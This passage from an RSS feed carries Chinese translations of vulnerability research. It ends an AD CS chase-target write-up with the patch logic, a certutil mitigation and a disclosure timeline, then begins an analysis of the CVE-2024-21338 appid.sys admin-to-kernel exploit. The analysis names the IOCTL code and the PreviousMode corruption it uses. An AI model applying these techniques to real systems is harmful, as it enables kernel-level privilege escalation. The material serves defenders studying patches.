0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">更新后，预期链为：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">attacker request -&gt; cdc=&#34;some host&#34;</span><span leaf=""><br/></span><span leaf="">        |</span><span leaf=""><br/></span><span leaf="">        v</span><span leaf=""><br/></span><span leaf="">validate hostname shape</span><span leaf=""><br/></span><span leaf="">        |</span><span leaf=""><br/></span><span leaf="">        v</span><span leaf=""><br/></span><span leaf="">query AD for dNSHostName=&lt;host&gt; AND SERVER_TRUST_ACCOUNT</span><span leaf=""><br/></span><span leaf="">        |</span><span leaf=""><br/></span><span leaf="">        v</span><span leaf=""><br/></span><span leaf="">require exactly one real DC object</span><span leaf=""><br/></span><span leaf="">        |</span><span leaf=""><br/></span><span leaf="">        v</span><span leaf=""><br/></span><span leaf="">only then call _GetDSObject(..., chase = 1, cdc)</span><span leaf=""><br/></span><span leaf="">        |</span><span leaf=""><br/></span><span leaf="">        v</span><span leaf=""><br/></span><span leaf="">verify resolved SID / identity</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">更新改变了两点：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">目标真实性：</span></strong><p><span leaf="">chase 目标必须是 AD 中注册的域控制器，而非任意的请求者控制主机。</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">对象真实性：</span></strong><p><span leaf="">通过 chase 解析的对象必须与预期身份匹配，即使查询路径不寻常也能防止对象替换。</span></p></li></ol><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">关注的函数</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">对于追踪请求路径的安全研究人员，从以下函数开始：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">June vulnerable build</span><span leaf=""><br/></span><span leaf="">  CRequestInstance::_LoadPrincipalObject</span><span leaf=""><br/></span><span leaf="">  CRequestInstance::_GetDSObject</span><span leaf=""><br/></span><span leaf="">  CRequestInstance::_GetObjectSID</span><span leaf=""><br/></span><span leaf="">July patched build</span><span leaf=""><br/></span><span leaf="">  Feature_3185813818</span><span leaf=""><br/></span><span leaf="">  CRequestInstance::_ExtractBaseDNForDCSearch</span><span leaf=""><br/></span><span leaf="">  CRequestInstance::_ValidateChaseTargetIsDC</span><span leaf=""><br/></span><span leaf="">  CRequestInstance::_LoadPrincipalObject</span><span leaf=""><br/></span><span leaf="">  CRequestInstance::_GetDSObject</span><span leaf=""><br/></span><span leaf="">  CRequestInstance::_GetObjectSID</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">文章的优质代码参考点：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">6 月 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_LoadPrincipalObject</span></code><span leaf="">展示 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">流入 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_GetDSObject</span></code><span leaf="">。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">7 月 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_LoadPrincipalObject</span></code><span leaf="">展示在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_GetDSObject</span></code><span leaf="">之前调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_ValidateChaseTargetIsDC</span></code><span leaf="">。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">7 月 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_ValidateChaseTargetIsDC</span></code><span leaf="">展示 IP 拒绝和 LDAP 过滤器构造。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">7 月 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_ValidateChaseTargetIsDC</span></code><span leaf="">展示 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">userAccountControl:1.2.840.113556.1.4.803:=8192</span></code><span leaf="">DC 查询。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">7 月 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">_GetObjectSID</span></code><span leaf="">或其调用点展示新增的 SID 验证路径。</span></p></li></ol><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">不安装更新的临时修复：禁用 chase 回退</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果无法立即安装 7 月更新，可以通过策略标志完全关闭存在漏洞的代码路径，因为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">chase 是一项可选的回退功能，并非在每个请求上运行的代码：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDC</span><span leaf=""><br/></span><span leaf="">Restart-Service CertSvc -Force</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这是缓解措施，而非补丁。如果在未修补的 CA 上由管理员、镜像或组策略重新启用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">EDITF_ENABLECHASECLIENTDC</span></code><span leaf="">，漏洞将再次可被利用。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">注意：</span><em><span leaf="">此热修复仅在受控实验室环境中验证，未在生产 CA 上验证。在生产环境中应用之前，请在镜像您环境的暂存 CA 上进行测试，并确认没有合法的注册依赖于 chase 回退——一旦清除该标志，这些请求将会失败。7 月更新仍然是推荐的补救措施。</span></em></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">时间线</span></h2><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">2026 年 5 月 14 日：</span></strong><p><span leaf="">向微软安全响应中心报告漏洞</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">2026 年 5 月 14 日：</span></strong><p><span leaf="">案件分配</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">2026 年 5 月 22 日：</span></strong><p><span leaf="">案件调查并确认</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">2026 年 7 月 14 日：</span></strong><p><span leaf="">微软发布补丁，编号 CVE-2026-54121</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">2026 年 7 月 24 日：</span></strong><p><span leaf="">公开披露</span></p></li></ul><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">参考资料</span></h2><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">certighost.py PoC 脚本</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Certipy AD CS 工具包</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">微软安全更新指南：CVE-2026-54121</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">MS-WCCE：Windows 客户端证书注册协议</span></p></li></ul><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">致谢</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">作者感谢微软安全响应中心的确认。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b73b5dd1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496622%26idx%3D1%26sn%3D0c50cbec364e685b1605c4b3095ee941">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 24 Jul 2026 22:58:00 +0800</pubDate>
    </item>
    <item>
      <title>Windows 管理员到内核的权限提升（CVE-2024-21338）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496595&amp;idx=1&amp;sn=5486333bbc98122e4adf9d48abd7ef2a</link>
      <description>本文分析 CVE-2024-21338 漏洞，通过令牌模拟获取 LOCAL SERVICE 权限，利用 appid.sys 驱动的 IOCTL 调用破坏 PreviousMode 字段，绕过 kCFG 和 SMEP 实现内核读写，并介绍 MSRC 补丁修复方案。</description>
      <content:encoded><![CDATA[<p><span>Rafael</span> <span>2026-07-17 13:50</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0d1cc9a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSiaEVvJaFh7zGDgfrLzRsev0nw4TicO8r1sRs7tKHghjaOAUExUY3aWF2LzhxibO1YlGRwGrOpiaiaZ4ibZicYUKNRuJML7ZFenGBr7iaA%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>本文分析 CVE-2024-21338 漏洞，通过令牌模拟获取 LOCAL SERVICE 权限，利用 appid.sys 驱动的 IOCTL 调用破坏 PreviousMode 字段，绕过 kCFG 和 SMEP 实现内核读写，并介绍 MSRC 补丁修复方案。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://hakaisecurity.io/cve-2024-21338-from-admin-to-kernel-through-token-manipulation-and-windows-kernel-exploitation/research-blog/" target="_blank">https://hakaisecurity.io/cve-2024-21338-from-admin-to-kernel-through-token-manipulation-and-windows-kernel-exploitation/research-blog/</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Escrito por</span></p></td></tr></tbody></table><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">摘要</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2024 年 2 月 13 日，在补丁星期二期间，</span><strong><span leaf="">Microsoft</span></strong><span leaf="">基于 Avast 的 Jan Vojtěšek 提交的安全报告披露了 CVE-2024-21338。这是一个全新的 Windows &#34;管理员到内核&#34;权限提升漏洞，允许恶意行为者——在此案例中主要是与朝鲜合作的 Lazarus 组织——通过其 FudModule.dllrootkit 获取内核访问权限。我们都知道 </span><strong><span leaf="">BYOVD</span></strong><span leaf="">（&#34;Bring Your Own Vulnerable Driver&#34;，自带漏洞驱动）理念被全球威胁行为者和恶意软件开发者广泛利用，他们利用自带已签名漏洞驱动的能力来获取内核访问权限，但这已经超越了 BYOVD。此技术适用于系统中已安装的 Windows 驱动：登场的是 </span><strong><span leaf="">appid.sys</span></strong><span leaf="">，它原本由 Windows AppLocker 使用，正如 Microsoft 网站所述，&#34;</span><em><span leaf="">AppLocker 帮助你控制用户可以运行哪些应用和文件</span></em><span leaf="">&#34;。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">CVE-2024-21338 漏洞利用通过 </span><strong><span leaf="">IOCTL</span></strong><span leaf="">（&#34;</span><em><span leaf="">输入输出控制</span></em><span leaf="">&#34;）通信调用 </span><strong><span leaf="">appid.sys</span></strong><span leaf="">驱动内部的特定函数，具体来说是 </span><strong><span leaf="">AipSmartHashImageFile</span></strong><span leaf="">函数，该函数可以通过易受攻击的 </span><strong><span leaf="">IOCTL 控制代码</span></strong><strong><span leaf="">0x22A018</span></strong><span leaf="">来调用。通过使用精心构造的输入缓冲区调用该控制代码，我们能够</span><strong><span leaf="">破坏</span></strong><span leaf="">_</span><strong><span leaf="">KTHREAD</span></strong><span leaf="">线程上下文中的 </span><strong><span leaf="">PreviousMode</span></strong><span leaf="">字段。</span><strong><span leaf="">PreviousMode</span></strong><span leaf="">字段决定了直接系统调用（</span><em><span leaf="">Nt、Zw</span></em><span leaf="">）是由内核还是用户发起的。考虑到这一点，我们现在能够调用直接系统调用并使其影响操作系统的内核，从而给予恶意威胁行为者</span><strong><span leaf="">对受害者的内核访问权限</span></strong><span leaf="">。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">分析</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Lazarus 制作的 FudModule.dll rootkit 的主要焦点是通过篡改 EDR/杀毒产品或使其自身功能对后者隐藏来规避检测，正如 Avast 在&#34;Lazarus and the FudModule Rootkit: Beyond BYOVD with an Admin-to-Kernel Zero-Day&#34;一文所述。然而，本文不会聚焦于 rootkit 本身的工作原理。我们将探索 </span><strong><span leaf="">appid.sys</span></strong><span leaf="">漏洞的工作原理、如何利用它，以及 MSRC 补丁在最新版本 Windows 上做了什么来修复它。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2024 年 2 月 13 日，在补丁星期二期间，</span><strong><span leaf="">Microsoft 安全响应中心</span></strong><span leaf="">（</span><strong><span leaf="">MSRC</span></strong><span leaf="">）披露了一个名为&#34;CVE-2024-21338&#34;的全新漏洞，该漏洞允许攻击者通过向暴露的允许 IOCTL（输入输出控制）通信的函数发送精心构造的 gadget 来</span><strong><span leaf="">读取</span></strong><span leaf="">和</span><strong><span leaf="">写入</span></strong><span 